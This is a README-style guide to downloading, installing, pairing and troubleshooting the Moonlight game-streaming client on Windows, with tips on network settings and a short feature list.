🎮 Moonlight - Stream games to your computer

Moonlight allows you to stream your personal game library from a powerful host computer to your Windows PC. It captures high-quality video and audio from your game and sends it over your local network. You play your games on your PC while the actual processing happens elsewhere.

🛠 Prerequisites

Before you start, ensure your environment meets these requirements:

1. A host computer with a graphics card that supports game streaming.
2. An active local network connection. A wired Ethernet connection provides the best results for streaming.
3. Windows 10 or Windows 11 installed on your client computer.
4. Input controllers connected to your client computer, such as a keyboard, mouse, or game controller.

📥 How to download

Visit the official project page to download the latest version of the software.

Click here to visit the download page

1. Open a web browser on your Windows PC.
2. Go to the link provided above.
3. Look for the file ending in .exe under the latest release.
4. Save the file to your computer.

⚙️ Setting up the software

Follow these steps to install the client.

1. Double-click the downloaded file to start the installer.
2. Follow the on-screen instructions.
3. Click Finish to complete the process.
4. Open the Moonlight application from your start menu.

🖥 Pairing your host

You must pair the client with your host computer so they can talk to each other.

1. Install the streaming server software on your host computer.
2. Launch Moonlight on your client PC.
3. The app identifies your host computer on the local network.
4. Click the host icon.
5. A four-digit code appears on your client screen.
6. Enter this code into the prompt on your host computer.
7. The pairing process finishes automatically once you enter the code.

🕹 Playing your games

Once paired, your game library appears on the main screen of the Moonlight application.

1. Select a game from the list.
2. Click the artwork to start the stream.
3. The game starts on your host computer and mirrors the feed to your screen.
4. Use your connected controller to navigate menus and start playing.

🔧 Optimizing your experience

Network stability dictates the quality of your stream.

• Use a 5GHz Wi-Fi connection if you do not have an Ethernet cable.
• Lower the resolution or bit rate in the settings menu if you see stuttering.
• Bit rate adjustments help if your video feed drops frames or looks blurry.
• Turn on "Optimize for Game Streaming" in your host settings to reduce input lag.

🛡 Network security

Moonlight works best inside your local home network. Do not expose your streaming ports to the public internet unless you know how to secure your network properly. Restrict access to your host machine to ensure only your authorized devices can connect.

💡 Troubleshooting common issues

If you encounter problems, check these items first:

• Ensure both computers connect to the same router.
• Check that your firewall software allows Moonlight to communicate.
• Update your graphics card drivers on the host computer.
• Restart the Moonlight application if the host list remains empty.
• Check that your host computer remains awake and unlocked during the stream.

📋 Features

• Supports streaming at 4K resolution at 120 frames per second.
• Provides low input lag for responsive gameplay.
• Works with standard game controllers, mice, and keyboards.
• Allows you to play games from any room in your house.
• Maintains high visual fidelity with minimal compression.
• Requires no complex setup on your network router.

🤝 Getting help

If the software does not behave as expected, review the official documentation included in the repository. Most issues arise from network configuration or outdated drivers. Confirm that your host machine meets the hardware requirements for video encoding. Verify your network cables are intact and plugged in securely. Use these steps to restore service if you lose your connection during a live session.